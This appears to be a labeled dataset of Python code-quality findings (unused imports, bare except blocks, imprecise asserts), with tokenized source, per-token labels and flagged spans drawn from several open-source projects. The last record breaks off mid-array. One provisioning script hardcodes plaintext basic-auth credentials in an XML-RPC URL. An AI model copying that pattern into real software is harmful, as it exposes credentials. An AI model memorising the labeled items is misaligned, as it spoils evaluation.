"))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "error", "(", "210", ",", " ", "ex", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "210", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Never", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "50", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "complete", "d", "(", "250", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "250", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Twi", "ce", "1", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "next", "(", "240", ",", " ", "4", "),", " ", "on", "\\u", "next", "(", "250", ",", " ", "5", "),", " ", "on", "\\u", "next", "(", "260", ",", " ", "6", "),", " ", "on", "\\u", "complete", "d", "(", "270", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "5", "5", ",", " ", "schedule", "r", ").", "take", "With", "Time", "(", "3", "5", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "235", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "235", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", " ", "test\\u", "Tak", "e\\u", "Twi", "ce", "2", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "var", " ", "res", ",", " ", "schedule", "r", ",", " ", "xs_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "Test", "Schedule", "r", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", " ", "=", " ", "schedule", "r", ".", "create", "\\u", "hot", "\\u", "observable", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "next", "(", "240", ",", " ", "4", "),", " ", "on", "\\u", "next", "(", "250", ",", " ", "5", "),", " ", "on", "\\u", "next", "(", "260", ",", " ", "6", "),", " ", "on", "\\u", "complete", "d", "(", "270", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", " ", "=", " ", "schedule", "r", ".", "start", "(", "create", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "return", " ", "xs", ".", "take", "With", "Time", "(", "3", "5", ",", " ", "schedule", "r", ").", "take", "With", "Time", "(", "5", "5", ",", " ", "schedule", "r", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "res", ".", "message", "s", ".", "assert", "\\u", "equal", "(", "on", "\\u", "next", "(", "210", ",", " ", "1", "),", " ", "on", "\\u", "next", "(", "220", ",", " ", "2", "),", " ", "on", "\\u", "next", "(", "230", ",", " ", "3", "),", " ", "on", "\\u", "complete", "d", "(", "235", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "xs", ".", "subscript", "ion", "s", ".", "assert", "\\u", "equal", "(", "subscribe", "(", "200", ",", " ", "235", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "//", " ", "Tak", "e", "Last_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "buffer", "\\u", "with", "\\u", "time", "\\u", "or", "\\u", "count", "\\u", "basic_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Rx", "Exception_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "raise_", "(_", "ex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Rx", "Exception_", "(_", "ex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fp7-ofelia/ocf/vt_manager/src/python/vt_manager/tests/provisioning/temp.py
[ { "content": "import os\nimport sys\nimport uuid, random \nfrom os.path import dirname, join\n\nPYTHON_DIR = join(dirname(__file__), '/opt/ofelia/vt_manager/src/python/')\n\n# This is needed because wsgi disallows using stdout\nsys.stdout = sys.stderr\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'vt_manager.settings'\n\nsys.path.insert(0,PYTHON_DIR)\n\n\nfrom vt_manager.models.VTServer import VTServer\nfrom vt_manager.communication.utils.XmlHelper import *\nfrom vt_manager.communication.XmlRpcClient import XmlRpcClient\n\nrspec = XmlHelper.parseXmlString(xmlFileToString('createVM.xml'))\n#rspec.query.provisioning.action[0].id=uuid.uuid4()\nrspec.query.provisioning.action[0].virtual_machine.uuid=uuid.uuid4()\nrspec.query.provisioning.action[0].virtual_machine.name=random.randint(0,1000)\n\nXmlRpcClient.callRPCMethodBasicAuth(\"https://192.168.254.193:8445/xmlrpc/plugin\",\"expedient\",\"expedient\",\"send\",\"https://expedient:[email protected]/vt_plugin/xmlrpc/vt_am/\",XmlHelper.craftXmlClass(rspec))\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from vt_manager.models.VTServer import VTServer", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 47 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", ",_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "os_", "._", "path_", "import_", "dirname_", ",_", "join_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PYTHON", "\\u", "DIR_", "=_", "join_", "(_", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "'/", "opt", "/", "of", "eli", "a", "/", "vt", "\\u", "manage", "r", "/", "src", "/", "python", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "need", "ed", " ", "bec", "aus", "e", " ", "wsgi", " ", "disallow", "s", " ", "usi", "ng", " ", "stdout_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "sys_", "._", "stderr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "DJANGO", "\\u", "SETTING", "S", "\\u", "MODUL", "E", "'_", "]_", "=_", "'", "vt", "\\u", "manage", "r", ".", "settings", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "0_", ",_", "PYTHON", "\\u", "DIR_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "vt", "\\u", "manager_", "._", "models_", "._", "VT", "Server_", "import_", "VT", "Server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "vt", "\\u", "manager_", "._", "communication", "_", "._", "utils_", "._", "Xm", "l", "Helper_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "vt", "\\u", "manager_", "._", "communication", "_", "._", "Xm", "l", "Rp", "c", "Client_", "import_", "Xm", "l", "Rp", "c", "Client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rsp", "ec_", "=_", "Xm", "l", "Helper_", "._", "parse", "Xm", "l", "String_", "(_", "xml", "File", "To", "String_", "(_", "'", "create", "VM", ".", "xml", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "rsp", "ec", ".", "query", ".", "provision", "ing", ".", "action", "[", "0", "].", "id", "=", "uuid", ".", "uuid", "4", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "rsp", "ec_", "._", "query_", "._", "provision", "ing_", "._", "action_", "[_", "0_", "]_", "._", "virtual", "\\u", "machine_", "._", "uuid_", "=_", "uuid_", "._", "uuid4_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rsp", "ec_", "._", "query_", "._", "provision", "ing_", "._", "action_", "[_", "0_", "]_", "._", "virtual", "\\u", "machine_", "._", "name_", "=_", "random_", "._", "randint_", "(_", "0_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Xm", "l", "Rp", "c", "Client_", "._", "call", "RP", "CM", "ethod", "Basic", "Auth_", "(_", "\"", "https", "://", "192", ".1", "68.", "254", ".1", "9", "3", ":", "844", "5", "/", "xmlrpc", "/", "plugin", "\"_", ",_", "\"", "expe", "die", "nt", "\"_", ",_", "\"", "expe", "die", "nt", "\"_", ",_", "\"", "send", "\"_", ",_", "\"", "https", "://", "expe", "die", "nt", ":", "expe", "die", "nt", "@", "192", ".1", "68.", "254", ".1", "9", "3", "/", "vt", "\\u", "plugin", "/", "xmlrpc", "/", "vt", "\\u", "am", "/\"_", ",_", "Xm", "l", "Helper_", "._", "craft", "Xm", "l", "Class_", "(_", "rsp", "ec_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
statsmodels/statsmodels/statsmodels/graphics/tests/test_boxplots.py
[ { "content": "import numpy as np\nfrom numpy.testing import dec\n\nfrom statsmodels.graphics.boxplots import violinplot, beanplot\nfrom statsmodels.datasets import anes96\n\n\ntry:\n import matplotlib.pyplot as plt\n have_matplotlib = True\nexcept:\n have_matplotlib = False\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "._", "testing_", "import_", "dec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "stats", "models_", "._", "graphics_", "._", "box", "plots_", "import_", "viol", "inp", "lot_", ",_", "bean", "plot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "datasets_", "import_", "ane", "s", "96_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "have", "\\u", "matplotlib_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "have", "\\u", "matplotlib_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
lsaffre/lino/lino/modlib/vocbook/models.py
[ { "content": "# -*- coding: UTF-8 -*-\n# Copyright 2011-2015 Luc Saffre\n# License: BSD (see file COPYING for details)\n\n\"\"\"\nDatabase models for `lino.modlib.vocbook`.\n\n.. autosummary::\n\nWork in progress.\n\nSee :srcref:`docs/tickets/92`.\n\n\"\"\"\n\nimport datetime\n\nfrom django.conf import settings\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils.encoding import force_text\n\nfrom lino import mixins\nfrom lino.api import dd, rt\n#~ from lino.core import reports\nfrom lino.core import actions\nfrom lino.utils import dblogger\nfrom lino.core.utils import resolve_model\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import datetime", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 15 }, { "span": "from django.conf import settings", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 32 }, { "span": "from django.db import models", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 28 }, { "span": "from django.contrib.contenttypes.models import ContentType", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 58 }, { "span": "from django.utils.encoding import force_text", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 44 }, { "span": "from lino import mixins", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 23 }, { "span": "from lino.api import dd, rt", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 27 }, { "span": "from lino.core import actions", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 29 }, { "span": "from lino.utils import dblogger", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 31 }, { "span": "from lino.core.utils import resolve_model", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 41 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "UT", "F", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", "-", "201", "5", " ", "Luc", " ", "Saf", "fre", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "BS", "D", " ", "(", "see", " ", "file", " ", "COPY", "ING", " ", "for", " ", "deta", "il", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Databa", "se", " ", "model", "s", " ", "for", " ", "`", "lino", ".", "modl", "ib", ".", "voc", "book", "`.", "\\", "10", ";", "\\", "10", ";", "..", " ", "autosu", "mmar", "y", "::", "\\", "10", ";", "\\", "10", ";", "Work", " ", "in", " ", "progress", ".", "\\", "10", ";", "\\", "10", ";", "See", " ", ":", "src", "ref", ":`", "docs", "/", "tick", "ets", "/", "9", "2", "`.", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "models_", "import_", "Conten", "t", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "encoding_", "import_", "force", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lino", "_", "import_", "mixins_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "api_", "import_", "dd_", ",_", "rt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "~", " ", "from", " ", "lino", ".", "core", " ", "import", " ", "reports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lino", "_", "._", "core_", "import_", "actions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "utils_", "import_", "dbl", "ogg", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lino", "_", "._", "core_", "._", "utils_", "import_", "resolve", "\\u", "model_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Imprecise assert
weblabdeusto/weblabdeusto/server/src/test/integration/general/test_no_concurrency.py
[ { "content": " def _wait_async_done(self, reservation_id, reqids):\n \"\"\"\n _wait_async_done(session_id, reqids)\n Helper methods that waits for the specified asynchronous requests to be finished,\n and which asserts that they were successful. Note that it doesn't actually return\n their responses.\n @param reqids Tuple containing the request ids for the commands to check.\n @return Nothing\n \"\"\"\n # Wait until send_async_file query is actually finished.\n reqsl = list(reqids)\n max_count = 15\n while len(reqsl) > 0:\n time.sleep(0.1)\n max_count -= 1\n if max_count == 0:\n raise Exception(\"Maximum time spent waiting async done\")\n requests = self.client.check_async_command_status(reservation_id, tuple(reqsl))\n self.assertEquals(len(reqsl), len(requests))\n for rid, req in six.iteritems(requests):\n status = req[0]\n self.assertTrue(status in (\"running\", \"ok\", \"error\"))\n if status != \"running\":\n self.assertEquals(\"ok\", status, \"Contents: \" + req[1])\n reqsl.remove(rid)", "metadata": "root.IntegrationNoConcurrencyTestCase._wait_async_done", "header": "['class', 'IntegrationNoConcurrencyTestCase', '(', 'object', ')', ':', '___EOS___']", "index": 170 }, { "content": " def _get_async_response(self, reservation_id, reqid):\n \"\"\"\n _get_async_response(reqids)\n Helper method that synchronously gets the response for the specified async request, asserting that\n it was successful.\n @param reqid The request identifier for the async request whose response we want\n @return Response to the request, if successful. None, otherwise.\n \"\"\"\n # Wait until send_async_file query is actually finished.\n max_counter = 15\n while True:\n max_counter -= 1\n if max_counter == 0:\n raise Exception(\"Maximum times running get_async_response\")\n time.sleep(0.1)\n requests = self.client.check_async_command_status(reservation_id, (reqid,))\n self.assertEquals(1, len(requests))\n self.assertTrue(reqid in requests)\n req = requests[reqid]\n status = req[0]\n self.assertTrue(status in (\"running\", \"ok\", \"error\"))\n if status != \"running\":\n self.assertEquals(\"ok\", status, \"Contents: \" + req[1])\n return Command.Command(req[1])", "metadata": "root.IntegrationNoConcurrencyTestCase._get_async_response", "header": "['class', 'IntegrationNoConcurrencyTestCase', '(', 'object', ')', ':', '___EOS___']", "index": 196 } ]
[ { "span": "self.assertTrue(status in (\"running\", \"ok\", \"error\"))", "start_line": 191, "start_column": 16, "end_line": 191, "end_column": 69 }, { "span": "self.assertTrue(reqid in requests)", "start_line": 213, "start_column": 12, "end_line": 213, "end_column": 46 }, { "span": "self.assertTrue(status in (\"running\", \"ok\", \"error\"))", "start_line": 216, "start_column": 12, "end_line": 216, "end_column": 65 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Integrati", "on", "No", "Conc", "urr", "ency", "Test", "Case_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "wait", "\\u", "async", "\\u", "done_", "(_", "self_", ",_", "reserva", "tion", "\\u", "id_", ",_", "req", "ids_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "\\u", "wait", "\\u", "async", "\\u", "don", "e", "(", "session", "\\u", "id", ",", " ", "req", "ids", ")", "\\", "10", ";", " ", " ", " ", " ", "Help", "er", " ", "method", "s", " ", "tha", "t", " ", "waits", " ", "for", " ", "the", " ", "specified", " ", "async", "hronous", " ", "request", "s", " ", "to", " ", "be", " ", "finish", "ed", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "whi", "ch", " ", "asserts", " ", "tha", "t", " ", "the", "y", " ", "wer", "e", " ", "success", "ful", ".", " ", "Not", "e", " ", "tha", "t", " ", "it", " ", "doe", "sn", "'", "t", " ", "actual", "ly", " ", "return", "\\", "10", ";", " ", " ", " ", " ", "thei", "r", " ", "response", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "req", "ids", " ", "Tup", "le", " ", "contain", "ing", " ", "the", " ", "request", " ", "ids", " ", "for", " ", "the", " ", "command", "s", " ", "to", " ", "check", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "return", " ", "Not", "hing", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wait", " ", "unti", "l", " ", "send", "\\u", "async", "\\u", "file", " ", "query", " ", "is", " ", "actual", "ly", " ", "finish", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "reqs", "l_", "=_", "list_", "(_", "req", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "count_", "=_", "15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "len_", "(_", "reqs", "l_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "count_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "count_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "Maxim", "um", " ", "time", " ", "spe", "nt", " ", "wait", "ing", " ", "async", " ", "don", "e", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "requests_", "=_", "self_", "._", "client_", "._", "check", "\\u", "async", "\\u", "command", "\\u", "status_", "(_", "reserva", "tion", "\\u", "id_", ",_", "tuple_", "(_", "reqs", "l_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "reqs", "l_", ")_", ",_", "len_", "(_", "requests_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "rid_", ",_", "req_", "in_", "six_", "._", "iteritems_", "(_", "requests_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 